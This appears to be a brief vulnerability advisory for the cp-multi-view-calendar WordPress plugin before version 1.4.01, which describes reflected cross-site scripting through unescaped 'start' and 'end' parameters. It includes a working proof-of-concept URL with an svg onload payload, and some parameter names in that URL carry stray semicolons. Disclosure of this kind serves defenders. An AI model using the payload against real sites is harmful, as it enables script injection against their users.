The plugin does not sanitise or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.
https://www.example.com/?cpmvc_id=1&cpmvc;_do_action=mvparse&f;=edit&month;_index=0&delete;=1&palette;=0&paletteDefault;=F00&calid;=1&id;=999&start;=a"><svg/><" &end;=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22
CPE | Name | Operator | Version |
---|---|---|---|
cp-multi-view-calendar | lt | 1.4.01 |